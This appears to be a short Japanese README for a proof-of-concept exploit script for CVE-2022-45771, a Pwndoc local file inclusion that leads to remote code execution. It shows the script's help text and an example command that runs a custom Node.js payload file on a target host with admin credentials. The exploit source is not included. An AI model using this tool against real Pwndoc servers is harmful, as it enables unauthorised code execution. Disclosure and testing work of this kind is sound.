
Pwndoc のローカルファイルインクルージョンを利用した、サーバー上の Node.js コードのリモートコード実行

Pwndoc のローカルファイルインクルージョンを利用して、サーバー上で Node.js コードをリモート実行する脆弱性です。@yuriisanin によって発見されました。
--payload-file を使用してサーバーサイドで実行するカスタム Node.js コード$ ./CVE-2022-45771-Pwndoc-LFI-to-RCE.py -h
CVE-2022-45771 Pwndoc-LFI-to-RCE v1.1 - by Remi GASCOU (Podalirius)
usage: CVE-2022-45771-Pwndoc-LFI-to-RCE.py [-h] -u USERNAME -p PASSWORD -H HOST [-P PORT] [-v] [--http] [-f PAYLOAD_FILE]
Poc of CVE-2022-45771 Pwndoc-LFI-to-RCE
options:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
Pwndoc username
-p PASSWORD, --password PASSWORD
Pwndoc password
-H HOST, --host HOST Pwndoc ip
-P PORT, --port PORT Pwndoc port
-v, --verbose Verbose mode. (default: False)
--http HTTP mode. (default: False)
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
File containing node.js code to run on the server.
./CVE-2022-45771-Pwndoc-LFI-to-RCE.py -u admin -p 'Admin123!' --host 127.0.0.1 --payload-file files/exploit.js